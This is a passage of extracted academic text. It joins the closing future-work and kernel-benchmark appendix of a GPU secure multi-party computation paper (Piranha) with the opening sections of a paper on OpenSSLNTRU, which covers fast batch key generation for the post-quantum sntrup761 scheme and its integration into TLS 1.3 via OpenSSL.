on floating-point. Future efforts can focus on supporting better
kernels, enabling multi-GPU usage, and supporting custom
accelerators on platforms such as FPGAs [30].
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Protocol layer.Piranha can be used for development of newer
multi-party protocols, expanding support for different number
of parties, innovative protocols, and adversarial models. As
noted in Section 1, we focus on LSSS protocols in a semi-
honest security model, and the protocols we implement operate
over 32- and 64-bit integer rings, such that the existing hard-
ware support for modular arithmetic simplifies computational
overhead. However, support for other protocol types can be
expanded, in supporting field operations, accelerating garbled
circuit evaluation [91], or adding homomorphic encryption
support [22] to enable dishonest-majority protocols.

Application layer. We showcase the use of Piranha for mak-
ing meaningful progress on private neural networks training.
Piranha’s modular approach provides a rich environment for
innovation in MPC-friendly neural network design, such as
private training of newer architectures like residual networks,
transformers, or LSTMs. While we only evaluate Piranha
over a neural network training application, the platform
allows development of arbitrary, protocol-agnostic secure
computation. Future work can focus on demonstrating the
ability of the platform to support applications in other areas,
such as oblivious sorting or oblivious RAMs.

B Comparison with Floating Point Kernels
We mention in Section 3 the tradeoff in performance when
computing directly over integer buffers on the GPU, as opposed
to decomposing large bit-width values into smaller chunks
for use in floating point-based kernels. In Table 5, we compare

Kernel Time (ms)

Library Datatype 784x9x20 1024x27x64 784x147x64 10000x1000x10000

cuBLAS float-32 0.014 4.16 4.45 54.19
Piranha float-32 0.981 4.51 4.56 65.16
Piranha int-32 3.61 4.38 4.52 78.35

cuBLAS float-64 4.58 6.37 4.70 126.5
Piranha float-64 4.60 5.92 4.69 114.95
Piranha int-64 4.76 4.66 4.90 2482.17

Table 5: Runtime for matrix multiplication kernels used in
Piranha vs. the cuBLAS implementation for different sizes.

the 32- and 64-bit kernels that Piranha uses, implemented
with CUTLASS [4], against state-of-the-art 32- and 64-bit
floating point kernels from cuBLAS [3]. While we can directly
compare floating point performance between the systems,
cuBLAS does not support large integer matrix multiplication,
so we only present Piranha-based results for comparison.

We benchmark the runtimes for the matrix multiplication
kernels used in Piranha vs. the cuBLAS implementation on
various sizes of matrices in Table 5. We observer that Piranha
kernels, when executed with floating point datatypes result in
comparable overhead to cuBLAS implementations. However,
executing 32-bit integer multiplications is much more expen-
sive in Piranha compared to the floating point case. 64-bit
integer multiplications are relatively comparable to cuBLAS
64-bit floating point, but at very large matrix sizes, there is a
significant difference between the two. This is likely due to the
fact that 64-bit integer operations are emulated using 32-bit
integer instructions that target the GPU integer cores used.
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Abstract
Google’s CECPQ1 experiment in 2016 integrated a
post-quantum key-exchange algorithm, newhope1024, into
TLS 1.2. The Google-Cloudflare CECPQ2 experiment in
2019 integrated a more efficient key-exchange algorithm,
ntruhrss701, into TLS 1.3.

This paper revisits the choices made in CECPQ2, and
shows how to achieve higher performance for post-quantum
key exchange in TLS 1.3 using a higher-security algorithm,
sntrup761. Previous work had indicated that ntruhrss701
key generation was much faster than sntrup761 key genera-
tion, but this paper makes sntrup761 key generation much
faster by generating a batch of keys at once.

Batch key generation is invisible at the TLS protocol layer,
but raises software-engineering questions regarding the diffi-
culty of integrating batch key exchange into existing TLS li-
braries and applications. This paper shows that careful choices
of software layers make it easy to integrate fast post-quantum
software, including batch key exchange, into TLS with minor
changes to TLS libraries and no changes to applications.

As a demonstration of feasibility, this paper reports suc-
cessful integration of its fast sntrup761 library, via a lightly
patched OpenSSL, into an unmodified web browser and an
unmodified TLS terminator. This paper also reports TLS 1.3
handshake benchmarks, achieving more TLS 1.3 handshakes
per second than any software included in OpenSSL.

1 Introduction

The urgency of upgrading TLS to post-quantum encryption
has prompted a tremendous amount of work. There were al-
ready 69 proposals for post-quantum cryptography (PQC) sub-
mitted to NIST’s Post-Quantum Cryptography Standardiza-
tion Project in 2017, including 49 proposals for post-quantum
encryption. Each proposal included complete software imple-
mentations of the algorithms for key generation, encryption,
and decryption. Given the cryptographic agility of TLS, one
might imagine that TLS software can simply pick a post-

quantum algorithm and use it. Constraints that make this
more difficult than it sounds include the following:

• Performance: Post-quantum algorithms can send much
more data than elliptic-curve cryptography (ECC), and
can take many more CPU cycles. Performance plays a
“large role” [27] in the NIST standardization project.

• Integration: Many assumptions about how cryptogra-
phy works are built into the TLS protocol and existing
TLS software. These range from superficial assumptions
about the sizes of objects to more fundamental structural
assumptions such as the reliance of TLS 1.3 upon “Diffie–
Hellman”—a key-exchange data flow not provided by
any of the proposals for NIST standardization.

• Security: 30 of the 69 proposals were broken by the end
of 2019 [9]. New attacks continue to appear: e.g., [6]
uses under a single second of CPU time to break any
ciphertext sent by the “Round2” lattice-based proposal.

In July 2020, the NIST project began its third round [1],
selecting 4 “finalist” and 5 “alternate” encryption proposals
to consider for standardization at the end of the round and
after a subsequent round. Meanwhile, there have been various
experiments successfully integrating post-quantum encryp-
tion systems into TLS. The proposals that have attracted the
most attention, and that are also the focus of this paper, are
“small” lattice proposals. These include

• three of the finalist proposals (Kyber [4], NTRU [17],
and SABER [5]), although NIST says it will standardize
at most one of these three;

• one of the alternate proposals (NTRU Prime);
• the newhope1024 algorithm [2] used inside Google’s

CECPQ1 experiment in 2016; and
• the ntruhrss701 algorithm (a variant of one of the al-

gorithms in the NTRU proposal) used inside the Google-
Cloudflare CECPQ2 experiment in 2019.

These are called “small” because they use just a few kilobytes
for each key exchange—much more traffic than ECC, but
much less than many other post-quantum proposals.
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Table 1: Cryptographic features of the post-quantum com-
ponents of CECPQ2 (previous work) and OpenSSLNTRU
(this paper). Core-SVP in the table is pre-quantum
Core-SVP (see [12, Section 6]); post-quantum Core-SVP
has 10% smaller exponents. See [13] regarding cyclo-
tomic concerns. The ntruhrss701 cycle counts are from
supercop-20210423 [10] on hiphop (Intel Xeon E3-1220
V3). The sntrup761 cycle counts are old→new, where “old”
shows the best sntrup761 results before our work and “new”
shows results from this paper’s freely available software; Ap-
pendix A presents the slight enc and dec speedups, and Sec-
tion 3 presents the large keygen speedup.

CECPQ2 OpenSSLNTRU
cryptosystem ntruhrss701 sntrup761
key+ciphertext bytes 2276 2197
keygen cycles 269191 814608→156317
enc cycles 26510 48892→46914
dec cycles 63375 59404→56241
Core-SVP security 2136 2153

cyclotomic concerns yes no

1.1 Contributions of this paper

This paper introduces OpenSSLNTRU, an improved in-
tegration of post-quantum key exchange into TLS 1.3.
OpenSSLNTRU improves upon the post-quantum portion
of CECPQ2 in two ways: key-exchange performance and
TLS software engineering. These are linked, as explained
below. OpenSSLNTRU offers multiple choices of key sizes;
for concreteness we emphasize one option, sntrup761 [12],
to compare to CECPQ2’s ntruhrss701.

Each of ntruhrss701/sntrup761 is a “key-encapsulation
mechanism” (KEM) consisting of three algorithms: a key-
generation algorithm generates a public key and a correspond-
ing secret key; an “encapsulation” algorithm, given a public
key, generates a ciphertext and a corresponding session key; a
“decapsulation” algorithm, given a secret key and a ciphertext,
generates the corresponding session key. The key exchange
at the beginning of a TLS session involves one keygen, one
enc, and one dec. Before our work, both KEMs already had
software optimized for Intel Haswell using AVX2 vector in-
structions; keygen was 3.03× slower for sntrup761 than for
ntruhrss701, making total keygen+enc+dec 2.57× slower.

One can remove keygen cost by reusing a key for many
TLS sessions (see Section 2.5.2). This paper instead directly
addresses the speed problem with sntrup761 key genera-
tion, by making sntrup761 key generation much faster. Our
sntrup761 software outperforms the latest ntruhrss701
software, and at the same time sntrup761 has a higher secu-
rity level than ntruhrss701. See Table 1.

The main bottleneck in sntrup761 key generation is com-
putation of certain types of inverses. This paper speeds up
those inversions using “Montgomery’s trick”, the simple idea

of computing two independent inverses 1/a and 1/b as br and
ar respectively, where r = 1/ab. Repeating this trick converts,
e.g., 32 inversions into 1 inversion plus 93 multiplications.

This paper generates a batch of 32 independent keys, com-
bining independent reciprocals across the batch. This batch
size is large enough for inversion time to mostly disappear,
and yet small enough to avoid creating problems with latency,
cache misses, etc. We designed new algorithms and software
to optimize sntrup761 multiplications, since the multipli-
cations used previously were “big×small” multiplications
while Montgomery’s trick needs “big×big” multiplications;
see Section 3.

A new key sent through TLS could have been generated
a millisecond earlier, a second earlier, or a minute earlier;
this does not matter for the TLS protocol. However, for TLS
software, batching keys is a more interesting challenge, for
two reasons. First, key generation is no longer a pure stateless
subroutine inside one TLS session, but rather a mechanism
sharing state across TLS sessions. Second, the TLS software
ecosystem is complicated (and somewhat ossified), with many
different applications using many different libraries, so the
same state change needs to be repeated in many different
pieces of TLS software.

To address the underlying problem, this paper introduces
a new choice of software layers designed to decouple the
fast-moving post-quantum software ecosystem from the TLS
software ecosystem. The point of these layers is that optimiza-
tion of post-quantum software does not have to worry about
any of the complications of TLS software, and vice versa. As a
case study demonstrating the applicability of these layers, this
paper describes successful integration of its new sntrup761
library, including batch key generation, into an existing web
browser communicating with an existing TLS terminator, us-
ing OpenSSL on both ends. This demo involves no changes
to the web browser, no changes to the TLS terminator, and
very few changes to OpenSSL.

The integration of OpenSSLNTRU into TLS means that,
beyond microbenchmarks, we can and do measure full
TLS handshake performance. The bottom line is that, in
a controlled and reproducible end-to-end lab experiment,
sntrup761 completes more sessions per second than com-
monly deployed pre-quantum NIST P-256, and even com-
pletes more sessions per second than commonly deployed
pre-quantum X25519 (see Section 4.4). This remains true
even when we replace sntrup761 with higher-security
sntrup857.

2 Background

2.1 Polynomial rings in NTRU Prime
Streamlined NTRU Prime [12], abbreviated sntrup, uses
arithmetic in finite rings R /3 = (Z/3)[x]/(xp− x− 1) and
R /q = (Z/q)[x]/(xp− x−1), where R = Z[x]/(xp− x−1).
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The parameters p,q are chosen so that R /q is a field.
Short means the set of polynomials in R that are small,

meaning all coefficients in {−1,0,1}, and weight w, meaning
that exactly w coefficients are nonzero, where w is another
parameter. The parameters (p,q,w) are (653,4621,288),
(761,4591,286), (857,5167,322) for the KEMs sntrup653,
sntrup761, sntrup857 respectively.

2.2 Montgomery’s trick for batch inversion

In this section, we review Montgomery’s trick for batch inver-
sion [24] as applied to many inputs. The algorithm batchInv
takes n elements (a1,a2, . . . ,an) in a ring, and outputs their
multiplicative inverses (a−1

1 ,a−1
2 , . . . ,a−1

n ). Montgomery’s
trick for batch inversion proceeds as follows:

1. Let b1 = a1 and compute bi = ai ·bi−1 for i in (2, . . . ,n).
After n−1 multiplications, we obtain

(b1,b2, . . . ,bn) = (a1,a1 ·a2,a1 ·a2 ·a3, . . . ,Π
n
i=1ai) .

2. Compute the single multiplicative inverse

tn = b−1
n = (Πn

i=1ai)
−1 .

3. Compute ci = ti ·bi−1 and ti−1 = ti ·ai for i in (n, . . . ,2).
After 2n−2 multiplications, we have two lists

(cn, . . . ,c2) = (a−1
n , . . . ,a−1

2 ) and

(tn−1, . . . , t2, t1) = ((Πn−1
i=1 ai)

−1, . . . ,(a1 ·a2)
−1,a−1

1 ) .

4. Output (a−1
1 ,a−1

2 , . . . ,a−1
n ).

In summary, the algorithm uses 3n− 3 multiplications and
one inversion to compute n inverses.

2.3 NTT-based multiplication

This section reviews techniques for polynomial multiplica-
tion commonly used in lattice-based cryptography. We adopt
terminology from [7].

The number theoretic transform (NTT) algorithm maps an
element in a polynomial ring into values by lifting the ring
element to a polynomial and evaluating the polynomial on a
particular set. An NTT-based multiplication algorithm applies
NTTs to two input elements in the polynomial ring, performs
component-wise multiplication for the transformed values,
and applies an inverse NTT, converting the multiplied values
back to the product in the same form of inputs.

Computing a size-n NTT, where n is a power of 2, com-
prises log2 n stages of the radix-2 FFT trick. Given a poly-
nomial ring (Z/q)[x]/(xn−b2) where b ∈ Z/q, the FFT trick
maps elements in (Z/q)[x]/(xn− b2) to ((Z/q)[x]/(xn/2−
b))× ((Z/q)[x]/(xn/2 + b)). Due to the Chinese remainder

theorem (CRT), the mapping is invertible when 2b is in-
vertible. Specifically, let f = f0 + f1x + · · ·+ fn−1xn−1 ∈
(Z/q)[x]/(xn−b2). The trick maps f to

( f mod (xn/2 +b) , f mod (xn/2−b))

=(( f0−b fn/2)+ · · ·+( fn/2−1−b fn−1)xn/2−1,

( f0 +b fn/2)+ · · ·+( fn/2−1 +b fn−1)xn/2−1)

with n multiplications by b, n/2 additions, and n/2 subtrac-
tions. Setting b = 1, by recursively applying the FFT trick,
an NTT transforms f into a list f̂ = ( f̂0, . . . , f̂ j, . . . , f̂n−1) ∈
(Z/q)n where f̂ j = f mod (x−ψ j) = ∑

n−1
i=0 fiψ

i j, and ψ ∈
Z/q is a primitive n-th root of unity, i.e., ψn/2 =−1.

When Z/q lacks appropriate roots of unity, Schönhage’s
trick [31] manufactures them by introducing an interme-
diate polynomial ring. Given f ∈ (Z/q)[x]/(x2mn− 1), the
trick first introduces a new variable y = xm and maps f
from (Z/q)[x]/(x2mn− 1) to ((Z/q)[x][y]/(y2n− 1))/(xm−
y). Then, it lifts f to (Z/q)[x][y]/(y2n−1), which is a poly-
nomial in variable y with coefficients in (Z/q)[x]. Since the
coefficients of f are polynomials with degree less than m,
it is safe to map them to (Z/q)[x]/(x2m + 1) such that co-
efficient multiplication needs no reduction by x2m +1. Now
x∈ (Z/q)[x]/(x2m+1) is a primitive 4m-th root of unity, since
x2m =−1.

Nussbaumer’s trick [28] is another method to manu-
facture roots of unity. Given f ∈ (Z/q)[x]/(x2mn − 1),
the trick maps f to ((Z/q)[y]/(y2n + 1))[x]/(xm − y), lifts
to ((Z/q)[y]/(y2n + 1))[x], and maps to ((Z/q)[y]/(y2n +
1))[x]/(x2n− 1) for n ≥ m. As noted in [7], Nussbaumer’s
trick sometimes uses slightly smaller ring extensions than
Schönhage’s trick, but Schönhage’s trick is more cache-
friendly, since it uses contiguous data in x.

2.4 The AVX2 instruction set

Since NIST specified Intel Haswell CPU as its highest pri-
ority platform for performance evaluation [26], we optimize
sntrup for the Haswell architecture in this work.

Specifically, we target the Advanced Vector Extensions 2
(AVX2) instruction set. AVX is a single-instruction-multiple-
data (SIMD) instruction set in modern (decade or less) x86
CPUs. It provides sixteen 256-bit ymm registers; each ymm

register splits into two 128-bit xmm lanes. The instruction set
treats data in ymm registers as lanes (independent partitions)
of 32×8-bit, 16×16-bit, 8×32-bit, etc.; every instruction op-
erates simultaneously on the partitioned data in the ymm reg-
isters. In 2013, the Haswell architecture extended AVX to
AVX2 for enhanced integer operations.

2.5 Related works
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2.5.1 NTT-based multiplication in other PQC finalists

Among the lattice based KEM of NIST’s finalists, Kyber [4]
operates in a radix-2 NTT friendly polynomial ring and imple-
ments NTT-based multiplication in the proposal. SABER [5]
and NTRU [17] operate in polynomial rings with a power-
of-two modulus which are considered NTT-unfriendly. The
earlier implementations of two schemes used a combination
of Toom-4 and Karatsuba based polynomial multiplication.

Recently, [18] showed that NTT-based multiplication out-
performs previous Toom-Cook multiplication for implement-
ing NTT-unfriendly SABER and most parameters of NTRU.
To use NTT-based multiplication in an NTT-unfriendly ring,
they raise the coefficients to a combination of several NTT-
friendly polynomial rings, perform several NTT-based multi-
plications, and map back to original ring with CRT. For NTRU
on the AVX2 platform, they reported significant improvement
for parameters with polynomials of degree greater then 700.
For Saber, they also reported a pronounced performance gain
although the degree of polynomials are only 255. It is because
the matrix-vector multiplication allows them to save the input
NTT transforms for the elements in the common vector which
performs inner products with different rows in the matrix.

2.5.2 Integrating cryptographic primitives

Related to OpenSSLNTRU, several previous works studied
integrations between post-quantum implementation and real
world applications and protocols.

The Open Quantum Safe (OQS) project [34] includes a
library of quantum-resistant cryptographic algorithms, and
prototype integrations into protocols and applications. It also
includes (and requires) a fork of the OpenSSL project. Con-
versely, in our contribution we apply a minimal patchset, striv-
ing to maintain API and ABI compatibility with the OpenSSL
version available to the end-users. This avoids the need of re-
compiling existing applications to benefit from the new library
capabilities. While [34] focused primarily on key agreement,
the OQS OpenSSL fork does also support signatures and cer-
tificates using post-quantum algorithms, and their negotiation
in TLS. See [29] for a study, conducted using OQS, bench-
marking post-quantum TLS authentication. We also note that
the end-to-end experiment we present in this paper is limited
to one candidate and two sets of parameters (sntrup761 and
sntrup857), while the OQS project provides implementa-
tions for all finalists.

Similarly, the PQClean project [22] collects a number of
implementations for the candidates. However, it does not
aim to include integration into higher-level applications or
protocols.

CECPQ2 actually included two experiments: CECPQ2a
used ntruhrss701, while CECPQ2b used an isogeny-based
proposal. Compared to ntruhrss701, the isogeny-based pro-
posal had smaller keys and smaller ciphertexts, but used much

more CPU time, so it outperformed CECPQ2a only on the
slowest network connections.

In general, the importance of a few kilobytes depends on
the network speed and on how often the application creates
new TLS sessions. A typical multi-megabyte web page is un-
likely to notice a few kilobytes, even if it retrieves resources
from several TLS servers. A session that encrypts a single
DNS query is handling far less data, making the performance
of session establishment much more important. Similar com-
ments apply to CPU time.

Schwabe, Stebila, and Wiggers [32] present an alter-
native to the TLS 1.3 handshake to solve both key ex-
change and authentication using post-quantum KEM. In
contrast, for our experiment we aimed at full compatibil-
ity with the TLS 1.3 ecosystem, focusing exclusively on
the key exchange. This ensures post-quantum confiden-
tiality, but does not address the post-quantum authentica-
tion concerns. Therefore, showcasing how at the protocol
level our experiment does not alter the TLS 1.3 message
flow, in Figure 1 we only highlight the cryptographic op-
erations and material involved in the key exchange—carried
in the ClientHello and ServerHello messages—while
keys and signatures used for authentication—as part of the
Certificate and CertificateVerify messages—do not
address post-quantum concerns.

Our approach to OpenSSL integration via an ENGINE mod-
ule is based on the methodology suggested in [36], where
the authors instantiated libsuola. In this context, an ENGINE
module is a a dynamically loadable module. Using a dedicated
API, such a module is capable of injecting new algorithms or
overriding existing ones. The implementations it provides can
be backed by a hardware device, or be entirely software based.
Our new ENGINE, engNTRU, builds upon libbecc [15], which
is itself derived from libsuola. Both previous works applied
the ENGINE framework to integrate alternative ECC imple-
mentations. The latter is particularly close to engNTRU, as it
also featured a transparent mechanism to handle batch key
generation. Section 4.2 details how engNTRU evolved from
these works and the unique features it introduces.

Shacham and Boneh [33] integrated RSA batching to im-
prove SSL handshake performance already in 2001. However,
their methodology required integrating changes directly in the
server application. In contrast, OpenSSLNTRU acts on the
middleware level, transparent to client and server applications.

Comparison table. Based on the previous discussions in this
section, Table 2 compares select TLS integration experiments
regarding post-quantum algorithms.

The “Hybrid” criterion tracks approaches that simultane-
ously protect the key agreement with “traditional” (usually
ECC) and post-quantum encryption (see, e.g., [14, 35]). This
paper does not make recommendations for or against hybrids;
our performance and software-engineering contributions are
equally applicable to hybrid and non-hybrid scenarios. Fig-
ure 1 illustrates how any NIKE system can be transformed
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Table 2: Comparison of select TLS integration experiments.

OQS CECPQ2 KEMTLS OpenSSLNTRU
Hybrid1 opt.7 yes no no
PFS2 yes yes yes yes
PQ-sec. key agmt.3 yes yes yes yes
PQ-sec. auth.4 opt. no yes no
TLS 1.3 compat.5 yes yes no yes
Binary compat.6 no no no yes
1 Key-agreement uses ECC and post-quantum encryption.
2 Key-agreement provides Perfect Forward Secrecy.
3 Post-quantum security over TLS key agreement.
4 Post-quantum security over TLS authentication, inherently limited by

access to PQ PKI.
5 Requires no breaking changes to the TLS 1.3 message flow.
6 ABI compatible, to easily integrate into the existing software ecosystem.
7 [34] presents experimental results for both post-quantum and hybrid

KEMs. Using the OQS fork of OpenSSL, the choice of supported KEMs
and order of preference is left to developers and system administrators.

into an equivalent KEM construction; a protocol that supports
key exchange via KEM can support hybrid handshakes by
simply composing two or more underlying KEMs to obtain a
hybrid KEM.

The “PFS” criterion tracks approaches that provide the
traditional notion of Perfect Forward Secrecy w.r.t. the key
agreement phase of the handshake. Different experiments
take post-quantum security into consideration at different
cryptosystem components, tracked by the “key agreement”
and “authentication” criteria. The latter comes with the caveat
that the extent to which PQ authentication is achieved is in-
herently limited by access to a fully post-quantum Public Key
Infrastructure (PKI). In the specific case of the Internet Web
PKI, client and server need to share a chain of certificates up
to a common root of trust, entirely signed with PQ algorithms.
Some experiments require breaking changes to the TLS 1.3
message flow, depicted in Figure 1; “compatibility” tracks
this criterion. Lastly, our work is the only experiment we are
aware of that achieves ABI compatibility (“Binary”) to easily
integrate into the existing software ecosystem.

3 Batch key generation for sntrup

This section presents batch key generation for sntrup and
its optimization. Section 3.1 shows the batch key generation
algorithm with Montgomery’s inversion-batching trick. Sec-
tion 3.2 and Section 3.3 present our polynomial multiplication
and its optimization in (Z/3)[x] and (Z/q)[x], respectively.
Section 3.4 shows the benchmark results.

3.1 Batch key generation
The sntrup key generation algorithm KeyGen outputs an
sntrup key pair. It proceeds as follows:

1. Generate a uniform random small element g∈R . Repeat
this step until g is invertible in R /3.

Client Server

[Applicat
ion Data]

Keygen()→(Cpk, Csk)
Keygen()→(Cpk, Csk)

(Cpk, Csk): Client's public 
and secret ephemeral keys
(Spk, Ssk): Server's public 

and secret ephemeral keys
ct: ciphertext

ss: shared secret

Legend

NIKE operations
KEM operations

OpenSSLNTRU libssl patch
Encapsulate via PKE+NIKE
 // Operation ctx embeds Cpk
+if (is_KEM_group())
+  EVP_PKEY_encrypt(ctx,
+      /* out */ &ct, &ct_len,
+      /* in  */ NULL, 0);
 //… back to original code:
 EVP_PKEY_derive(ctx,
     /* out */ &ss, &ss_len);

OpenSSLNTRU libssl patch
Decapsulate via PKE+NIKE
 // Operation ctx embeds Csk
+if (is_KEM_group())
+  EVP_PKEY_decrypt(ctx,
+      /* out */ NULL, NULL,
+      /* in  */ &ct, ct_len);
 //… back to original code:
 EVP_PKEY_derive(ctx,
     /* out */ &ss, &ss_len);

Decapsulate(ct, Csk)→ss
Derive(Spk, Csk)→ss

Only the key exchange 
adopts post-quantum 

algorithms: OpenSSLNTRU 
provides post-quantum 

confidentiality and perfect 
forward secrecy, but does 

not address post-quantum 
authentication concerns.

Cryptographic properties
Encapsulate(Cpk)→(ct, ss)

Keygen()→(Spk, Ssk);
Derive(Cpk, Ssk)→ss

ServerHe
llo(+key_

share),

{Encrypt
edExtens

ions},

{Certifi
cate},

{Certifi
cateVeri

fy},

{Finishe
d}

Spk
ct

Cpk
CpkClientHello(+key_share)

{Finished},[Application Data]

Figure 1: Overview of a full TLS 1.3 handshake. In
OpenSSLNTRU, the traditional NIKE operations are replaced
with KEM operations. Besides dedicated NamedGroup code-
points, this is transparent to TLS 1.3 messages as key_share
payloads are opaque. As OpenSSL 1.1.1 does not offer
an API for KEM operations, our patch uses the described
PKE+NIKE workaround when one of the supported KEM
groups is negotiated.

2. Compute 1/g in R /3.
3. Generate a uniform random f ∈ Short.
4. Compute h = g/(3 f ) in R /q.
5. Output (h,( f ,1/g)) where h is the public key and

( f ,1/g) ∈ Short×R /3 is the secret key.

Algorithm 1 (BatchKeyGen) batches sntrup key gener-
ation. We use two lists for storing n batches of g ∈ R and
f ∈ Short, then process the n batches of computation in one
subroutine. The key idea is to replace the 2n inversions by
two batchInv for R /3 and R /q, respectively. As seen in
Section 2.2, batchInv turns n inversions into 3n− 3 multi-
plications and one inversion. Considering performance, ring
multiplication then becomes the critical part. Hence, Sec-
tion 3.2 and Section 3.3 present optimized ring multiplication
implementations, used in batchInv.

Another difference is the invertibility check in R /3 for
the element g. Previous NTRU Prime software checks invert-
ibility as a side effect of computing 1/g with a constant-time
algorithm [11] for extended GCD. Calling batchInv removes
this side effect and requires a preliminary check for invertibil-
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ity of each g. In Section 3.1.1 we optimize an isInvertible
subroutine for this test.

Algorithm 1 BatchKeyGen

Input : an integer n
Output: n key pairs of sntrup

1: G← [·] . an empty list
2: F ← [·]
3: while len(G)< n do
4: g $←− R /3 . $: uniform random
5: if not isInvertible( g ) : continue
6: f $←− Short
7: G.append(g)
8: F.append( f )
9: end while

10: Ḡ← batchInv(G)
11: F̄ ← batchInv([3 · f for f ∈ F ])
12: H←

[
g · f̄ ∈ R /q for g ∈ G, f̄ ∈ F̄

]
13: return

[
(h,( f , ḡ)) for h ∈ H, f ∈ F, ḡ ∈ Ḡ

]

3.1.1 Invertibility check for elements in R /3

At a high level, we check the invertibility of an element g ∈
R /3 by computing its remainder of division by the irreducible
factors of xp−x−1 modulo 3, as suggested in [12, p. 8]. This
section optimizes this computation.

For convenience, we always lift the ring element g to its
polynomial form g ∈ (Z/3)[x] in this section. In a nutshell,
if g mod fi = 0 for any factor fi of xp− x− 1, then g is not
invertible in R /3.

We calculate the remainder of g mod fi with Barrett reduc-
tion [23]. Suppose the polynomial xp− x−1 ∈ (Z/3)[x] has
m irreducible factors ( f1, . . . , fm), i.e., xp− x− 1 = Πm

i=1 fi.
Given a polynomial g ∈ (Z/3)[x] and p > deg(g)> deg( fi),
we calculate the reminder r = g mod fi as follows. In the
pre-computation step, choose Dg > deg(g) and D fi > deg( fi),
and calculate qx as the quotient of the division xDg/ fi, i.e.,
qx =

⌊
xDg/ fi

⌋
, where the floor function b·c removes the

negative-degree terms from a series. In the online step, com-
pute h =

⌊
g ·qx/xDg

⌋
= bg/ fic, i.e., the quotient of the divi-

sion g ·qx/xDg . Finally, return the remainder r = g−h · fi. We
show this gives the correct r in Appendix C.

Some observations about the degree of polynomials
help to accelerate the computation. While computing h =⌊
g ·qx/xDg

⌋
, we compute only terms with degree in the inter-

val [0,D f ), since r = g− h · fi uses terms exclusively from
this interval for deg(r)< deg( fi).

In the case of sntrup761, the polynomial f = x761 −
x− 1 ∈ (Z/3)[x] has three factors, with degrees deg( f1) =
19, deg( f2) = 60, and deg( f3) = 682, respectively. We
choose D f1 = 32, D f2 = 64, and Dg = 768 for computing
g mod f0 and g mod f1. For computing g mod f3, we note

the pre-computed quotient qx =
⌊
x768/(x682 + · · ·)

⌋
satisfies

deg(qx) = 88. Hence, the multiplication h =
⌊
g ·qx/x768

⌋
in-

volves deg(g) = 768 and deg(qx) = 88 polynomials. By par-
titioning the longer polynomial into several shorter segments,
we perform the multiplication by several polynomial multi-
plications of length equal to the shorter polynomial (less than
128). Therefore, to check invertibility, we use polynomial
multiplications in (Z/3)[x] with lengths in {32,64,128}.

3.2 Polynomial multiplication in (Z/3)[x]

In this section, we describe our multiplication in (Z/3)[x] for
sntrup, and its optimization in the AVX2 instruction set.

Based on the polynomial lengths, we implement polyno-
mial multiplication with different algorithms. We build a
16×16 polynomial multiplier as a building block for school-
book multiplication. We then use Karatsuba to build longer
multipliers, such as 32×32, 64×64, and further 2i×2i. For
3 ·256×3 ·256 multiplications, we start from Bernstein’s 5-
way recursive algorithm [8] for (Z/2)[x] and optimize the
same idea for (Z/3)[x].

3.2.1 Base polynomial multiplier

For representing (Z/3)[x] polynomials, we adjust the values
of coefficients to unsigned form and store polynomials as byte
arrays, with one coefficient per byte. For example, we store
the polynomial a0 + · · ·+ a15x15 ∈ (Z/3)[x] as a byte array
(a0,a1, . . . ,a15) in a 16-byte xmm register.

Besides a byte array, we can view a polynomial as an in-
teger by translating the monomial x = 256. For example, a
degree-3 polynomial a0 +a1x+a2x2 +a3x3 maps to the 32-
bit integer a0 +a1 ·28 +a2 ·216 +a3 ·224.

In this 32-bit format, we can perform a 4× 4→ 8 poly-
nomial multiplication using a 32×32→ 64 integer multipli-
cation, taking care to control the coefficient values. While
calculating the polynomial product (a0 +a1x+a2x2 +a3x3) ·
(b0+b1x+b2x2+b3x3) with a 32×32→ 64 integer multipli-
cation, if all coefficients ai,bi ∈ {0,1,2}, a term’s maximum
possible value is ∑i+ j=3 aib jx3 ≤ 16, fitting in a byte. Hence,
we use 4× 4 polynomial multiplication (i.e., 32× 32→ 64
integer multiplication), as our building block to implement
16×16 polynomial multiplication with the schoolbook algo-
rithm.

3.2.2 Multiplying polynomials of length 3n

This section reduces a multiplication of 3n-coefficient poly-
nomials in (Z/3)[x] to 5 multiplications of ≈n-coefficient
polynomials, while optimizing the number of additions us-
ing techniques analogous to Bernstein’s optimizations [8] for
(Z/2)[x]. This section also streamlines the computation for
≤(3n−1)-coefficient polynomials, as in sntrup.
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Take two polynomials F0+F1t+F2t2 and G0+G1t+G2t2

in (Z/3)[x], where deg(Fi)< n, deg(Gi)< n, and t = xn. Their
product H = H0 +H1t +H2t2 +H3t3 +H4t4 can be recon-
structed by the projective Lagrange interpolation formula

H =H(0)
(t−1)(t +1)(t− x)

x
+H(1)

t(t +1)(t− x)
x−1

+H(−1)
t(t−1)(t− x)

x+1
+H(x)

t(t−1)(t +1)
x(x−1)(x+1)

+H(∞)t(t−1)(t +1)(t− x) .

Here

H(0) = F0 ·G0,

H(1) = (F0 +F1 +F2) · (G0 +G1 +G2),

H(−1) = (F0−F1 +F2) · (G0−G1 +G2),

H(x) = (F0 +F1x+F2x2) · (G0 +G1x+G2x2), and
H(∞) = F2 ·G2

are the only five polynomial multiplications in the algorithm.
These polynomials expand from n to 2n terms, except H(x).

H simplifies to

H = H(0)− [U +(H(1)−H(−1))] · t
− [H(0)+(H(1)+H(−1))+H(∞)] · t2

+U · t3 +H(∞) · t4 ,

(1)

where U =V +H(0)/x−H(∞) · x and

V =
(H(1)+H(−1)) · x+(H(1)−H(−1))+H(x)/x

x2−1
.

There are two tricky issues while computing V . First,
deg(H(x)) ≤ 2n+2, introducing extra complexity since all
other polynomials have degree less than 2n. By requiring
deg(F2)≤ n−2 and deg(G2)≤ n−2, we force deg(H(x))≤
2n. Since H(x) is only used as H(x)/x in V , we can always
process polynomials with degree less than 2n.

The other issue concerns computing divisions by x2− 1
in (Z/3)[x]. Since long division is a sequential process and
not efficient in SIMD settings, we now present a divide-and-
conquer method for it.

3.2.3 Division by x2−1 on (Z/3)[x]

Dividing a polynomial f by x2−1 means producing a repre-
sentation of f = q · (x2−1)+ r, where q and r = r1x+ r0 are
the quotient and remainder, respectively. Assume that we have
recursively divided two 2m-coefficient polynomials f and g
by x2−1, obtaining f = q ·(x2−1)+r and g = s ·(x2−1)+t.
Then

r · x2m = (rx2m−2 + rx2m−4 + rx2m−6 + · · ·+ r)(x2−1)+ r ,

so the result of dividing f · x2m +g by (x2−1) is

f · x2m +g =
[
q · x2m + r · x2m−2](x2−1)

+(s+ rx2m−4 + · · ·+ r)(x2−1)+(t + r) .
(2)

We carry out these divisions in place as follows: recursively
overwrite the array of f coefficients with q and r, recursively
overwrite the array of g coefficients with s and t, and then
